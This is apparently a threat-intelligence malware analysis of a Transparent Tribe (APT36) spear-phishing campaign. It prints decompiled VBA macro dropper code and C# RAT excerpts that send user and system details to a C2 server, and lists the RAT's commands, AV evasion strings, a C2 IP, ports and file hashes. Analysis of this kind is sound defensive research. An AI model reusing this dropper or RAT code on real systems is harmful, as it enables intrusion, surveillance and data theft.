# Not as so transparent
## Table of Contents
* [Malware analysis](#Malware-analysis)
* [Threat Intelligence](#Intel)
* [Cyber kill chain](#Cyber-kill-chain)
* [Indicators Of Compromise (IOC)](#IOC)
* [Yara Rules](#Yara)
* [References MITRE ATT&CK Matrix](#Ref-MITRE-ATTACK)
* [Knowledge Graph](#Knowledge)
* [Links](#Links)
  + [Original Tweet](#tweet)
  + [Link Anyrun](#Links-Anyrun)
  + [Ressources](#Ressources)

<h2>Malware analysis <a name="Malware-analysis"></a></h2>
<h6> The initial vector is from a decoy document probably shared from a spear-phishing, this document have two links for download additionnal informations. The both maldoc , this use a macro for extract and execute the PE file depends on the version of the operating system.</h6>

```vb
Sub unMoferzip(Fname As Variant, FileNameFolder As Variant)
 Dim FSO As Object
 Dim oApp As Object
 'Extract the files into the Destination folder
 Set oApp = CreateObject("Shell.Application")
 oApp.Namespace(FileNameFolder).CopyHere oApp.Namespace(Fname).items, &H4
End Sub

Sub MoferfileLdr()
 Dim path_Mofer_file As String
 Dim file_Mofer_name  As String
 Dim zip_Mofer_file  As Variant
 Dim fldr_Mofer_name  As Variant
 file_Mofer_name = "ulhtagnias"
 fldr_Mofer_name = Environ$("ALLUSERSPROFILE") & "\DeIA-WIR\"
 If Dir(fldr_Mofer_name, vbDirectory) = "" Then
  MkDir (fldr_Mofer_name)
 End If
 zip_Mofer_file = fldr_Mofer_name & file_Mofer_name & ".zip"
 path_Mofer_file = fldr_Mofer_name & file_Mofer_name & ".exe"
 Dim ar1Mofer() As String
 Dim btsMofer() As Byte
 If InStr(Application.System.Version, "6.2") > 0 Or InStr(Application.System.Version, "6.3") > 0 Then
  ar1Mofer = Split(UserForm1.TextBox2.Text, "'")
 Else
  ar1Mofer = Split(UserForm1.TextBox1.Text, "'")
 End If
 Dim linMofer As Double
 linMofer = 0
 For Each vl In ar1Mofer
  ReDim Preserve btsMofer(linMofer)
  btsMofer(linMofer) = CByte(vl)
  linMofer = linMofer + 1
 Next
  Open zip_Mofer_file For Binary Access Write As #2
   Put #2, , btsMofer
 Close #2
 If Len(Dir(path_Mofer_file)) = 0 Then
  Call unMoferzip(zip_Mofer_file, fldr_Mofer_name)
 End If
   Shell path_Mofer_file, vbNormalNoFocus
End Sub
```

<h6>The .NET implant begin to load the recon actions, push a timer for sleep the process and try to join the C2. </h6>

```csharp
public void ulhtagniasdo_start()
{
 ulhtagniasCONF.ulhtagniasport = ulhtagniasCONF.ports[0];
 this.ulhtagniasrunTime = DateTime.Now;
 this.ulhtagniasUPC = new ulhtagniasMYINF();
 this.ulhtagniasCMD = new ulhtagniasOCMD(this);
 this.ulhtagniasHD.iserver = this;
 this.ulhtagniasHD.ulhtagniasmainPath = ulhtagniasCONF.ulhtagniasget_mpath();
 TimerCallback callback = new TimerCallback(this.ulhtagniaslookup_connect);
 System.Threading.Timer ulhtagniastimer = new System.Threading.Timer(callback, this.ulhtagniasStateObj, 32110, 36110);
 this.ulhtagniasStateObj.ulhtagniastimer = ulhtagniastimer;
}
```

<h6>Once the connexion is etablish with the C2, this send the informations of user, system, sensible AV (who detect it easily) and this repertory (here from a trace of the TCP stream of an Anyrun sandbox)</h6>

``` .....info=command.....ulhtagnias-info=user8....|USER-PC|admin||6>1|S.P.1.3|| ||C:\ProgramData\DeIA-WIR\.....clping=Ping.....clping=Ping```

```csharp
private void ulhtagniasuser_info()
{
 string text = string.Concat(new string[]
 {
  this.ulhtagniasUPC.ulhtagniaslancard,"|",this.ulhtagniasUPC.ulhtagniascname,"|",
  this.ulhtagniasUPC.ulhtagniasuname,"|",this.ulhtagniasUPC.ulhtagniasuip,"|",
  ulhtagniasCONF.ulhtagniasOsname(),"|",this.ulhtagniasUPC.ulhtagniasapver,"|",
  ulhtagniasCONF.ulhtagniasloadAV()
 });
 text += "| !ulhtagnias".Split(new char[]{'!'})[0];
 text = text + "|" + this.ulhtagniasUPC.ulhtagniasclientNum;
 text = text + "|" + ulhtagniasCONF.ulhtagniasget_mpath();
 byte[] byteArray = ulhtagniasCONF.getByteArray(text);
 this.ulhtagniaspush_data(byteArray, "ulhtagnias-info=user|ulhtagnias".Split(new char[]{'|'})[0], false);
} 

public static string ulhtagniasOsname()
{
 string result;
 try
 {
  OperatingSystem osversion = Environment.OSVersion;
  result = osversion.Version.Major.ToString() + ">" + osversion.Version.Minor.ToString();
 }
 catch {result = "6>1!ulhtagnias".Split(new char[]{'!'})[0];}
 return result;
}
```

<h6>The name of PE file is used as identifier and the command by a couple {nameimplant-command}.This can perform the actions by the following commands :</h6>

<p align="center">
<table>
  <tr>
    <th>Command</th>
    <th>Description</th>
  </tr>
  <tr>
    <td>-procl</td>
    <td>Get the list of process</td>
  </tr>
  <tr>
    <td>-thumb</td>
    <td>Get info of a picture</td>
  </tr>
  <tr>
    <td>-clping</td>
    <td>Check activity</td>
  </tr>  
  <tr>
    <td>-putsrt</td>
    <td>Push the persistence in a Run key </td>
  </tr>  
  <tr>
    <td>-filsz</td>
    <td>Get infos of a specific file</td>
  </tr>
  <tr>
    <td>-rupth</td>
    <td>Push the data received</td>
  </tr>
  <tr>
    <td>-dowf</td>
    <td>Save to a file the data pushed on the system</td>
  </tr>
  <tr>
    <td>-endpo</td>
    <td>Kill a process</td>
  </tr>
  <tr>
    <td>-scrsz</td>
    <td>Get the size of the screen</td>
  </tr>
  <tr>
    <td>-cownar</td>
    <td>Download and run a executable file</td>
  </tr>
  <tr>
    <td>-cscreen</td>
    <td>Get a screenshot</td>
  </tr>
  <tr>
    <td>-dirs</td>
    <td>List all the drives and directories</td>
  </tr>
  <tr>
    <td>-stops</td>
    <td>stop the mod for get periodical screenshot</td>
  </tr>
  <tr>
    <td>-scren</td>
    <td>start the mod for get periodical screenshot</td>
  </tr>
  <tr>
    <td>-cnls</td>
    <td>Allow index, send data and disable continue screenshot </td>
  </tr>
  <tr>
    <td>-udlt</td>
    <td>Download and execute an executable for remove an user ? </td>
  </tr>
  <tr>
    <td>-delt</td>
    <td>Delete a specific file</td>
  </tr>
  <tr>
    <td>-listf</td>
    <td>List files</td>
  </tr>
  <tr>
    <td>-file</td>
    <td>Get a specific file</td>
  </tr>
  <tr>
    <td>-info</td>
    <td>Get user and system infos, check if the AV is on blacklist</td>
  </tr>
  <tr>
    <td>-runf</td>
    <td>Execute a specific file</td>
  </tr>
  <tr>
    <td>-dowr</td>
    <td>Download a file on the system</td>
  </tr>
  <tr>
    <td>-fldr</td>
    <td>Get folders and go silent mod</td>
  </tr>
</table> 
</p>

<h6>On the RAT, one of two byte array is used for triggered the detection of a sensible AV</h6>

```csharp
public static byte[] encAvs = new byte[]{98,100,115,115,61,66,105,116,32,68,101,102,101,110,100,101,114,44,111,110,108,105,110,101,110,116,61,81,46,72,101,97,108,44,98,100,97,103,101,110,116,61,66,105,116,32,68,101,102,101,110,100,101,114,32,65,103,101,110,116,44,109,115,115,101,99,101,115,61,77,83,32,69,115,115,101,110,116,105,97,108,115,44,102,115,115,109,51,50,61,70,83,101,99,117,114,101,44,97,118,112,61,75,97,115,112,101,114,115,107,121,44,97,118,103,110,116,61,65,118,105,114,97,44,115,112,98,98,99,115,118,99,61,83,121,109,97,110,116,101,99,44,117,112,100,97,116,101,114,117,105,61,77,99,65,102,101,101,44,97,118,103,117,105,61,65,86,71,44,97,118,103,99,99,61,65,86,71,44,109,98,97,109,61,65,110,116,32,77,97,108,119,97,114,101,44,97,118,97,115,116,117,105,61,65,118,97,115,116,44,97,118,97,115,116,61,65,118,97,115,116};
```
<h6>This can easily viewable in oneliner (UTF8 + Getstring) and show the list of sensible AV to detect</h6>
  
```csharp
PS> ([System.Text.Encoding]::UTF8.GetString($encAvs)).split(",")
bdss=Bit Defender
onlinent=Q.Heal
bdagent=Bit Defender Agent
msseces=MS Essentials     
fssm32=FSecure
avp=Kaspersky
avgnt=Avira
spbbcsvc=Symantec
updaterui=McAfee
avgui=AVG
avgcc=AVG
mbam=Ant Malware
avastui=Avast
avast=Avast 
 ```
  
<h6>With the same logic, we can get the content of the second array which get the IP of the C2 to contact</h6>

```csharp
PS> ([System.Text.Encoding]::UTF8.GetString($tab)).split(",")   
198.46.177.73
```

<h6>Some identifiers like name of user, defaultIP and logname can be found </h6>

```csharp
public static string ulhtagniasmainApp = "ulhtagnias|ulhtagnias".Split(new char[]{'|'})[0];
public static string ulhtagniaspc_id = "vhldsp|ulhtagnias".Split(new char[]{'|'})[0];
public static string ulhtagniasremvUser = "drlarmn|ulhtagnias".Split(new char[]{'|'})[0];
public static string ulhtagniasfilesLogs = "rndlbes".Split(new char[]{'|'})[0];}
public static string ulhtagniasdefaultP = "122.200.110.101|ulhtagnias".Split(new char[]{'|'})[0];
```
<h6>This connect on the default port (6421) and can switch depending on the needs of the operations</h6>

```csharp
public static int[] ports = new int[]{6421,4920,10422,14823,16824};
public void ulhtagniasports_switch()
 {
  try
  {
   this.port_sn++;
   ulhtagniasCONF.ulhtagniasport = ulhtagniasCONF.ports[this.port_sn];
   if (this.port_sn >= ulhtagniasCONF.ports.Length - 1){this.port_sn = 0;}
  }
 catch{this.port_sn = 0;}
 }
```
<h2>Threat Intelligence</h2><a name="Intel"></a></h2>
<h2> Cyber kill chain <a name="Cyber-kill-chain"></a></h2>

<h2> Indicators Of Compromise (IOC) <a name="IOC"></a></h2>
<h6> List of all the Indicators Of Compromise (IOC)</h6>

|Indicator|Description|
| ------------- |:-------------:|
|Criteria of Army Officers.doc|1cb726eab6f36af73e6b0ed97223d8f063f8209d2c25bed39f010b4043b2b8a1|
|ulhtagnias.exe|d2c46e066ff7802cecfcb7cf3bab16e63827c326b051dc61452b896a673a6e67|
|198.46.177.73|IP C2|

<h6> The IOC can be exported in <a href="https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Pakistan/APT/Transparent%20Tribe/22-01-20/json/ioc.json">JSON</a></h6>

<h2> References MITRE ATT&CK Matrix <a name="Ref-MITRE-ATTACK"></a></h2>

|Enterprise tactics|Technics used|Ref URL|
| :---------------: |:-------------| :------------- |
|Discovery|Query Registry|https://attack.mitre.org/techniques/T1012/|
|C&C|Uncommonly Used Port|https://attack.mitre.org/techniques/T1065/|
|Defense Evasion|Scripting|https://attack.mitre.org/techniques/T1064/|
|Execution|Scripting|https://attack.mitre.org/techniques/T1064/|

<h6> This can be exported as JSON format <a href="https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Pakistan/APT/Transparent%20Tribe/22-01-20/json/Mitre-APT36-22-01-20.json">Export in JSON</a></h6>
<h2>Yara Rules<a name="Yara"></a></h2>
<h6> A list of YARA Rule is available <a href="">here</a></h6>
<h2>Knowledge Graph<a name="Knowledge"></a></h2><a name="Know"></a>
<h6>The following diagram shows the relationships of the techniques used by the groups and their corresponding malware:</h6>
<p align="center">
  <img src="">
</p>
<h2>Links <a name="Links"></a></h2>
<h6> Original tweet: </h6><a name="tweet"></a>

* [https://twitter.com/Arkbird_SOLG/status/1219769450989334528](https://twitter.com/Arkbird_SOLG/status/1219769450989334528) 

<h6> Links Anyrun: <a name="Links-Anyrun"></a></h6>

* [Special Benefits.docx](https://app.any.run/tasks/37407c30-de54-423f-a468-5981c50ced6f)
* [7All Selected list.xls](https://app.any.run/tasks/db365b0c-883e-410c-975d-d14753a5bfb4)
* [Criteria of Army Officers.doc](https://app.any.run/tasks/de93d3a4-9ff0-4bed-b492-1f45214a0443)

<h6> Resources : </h6><a name="Ressources"></a>

* [Operation Transparent Tribe - APT Targeting Indian Diplomatic and Military Interests](https://www.proofpoint.com/us/threat-insight/post/Operation-Transparent-Tribe)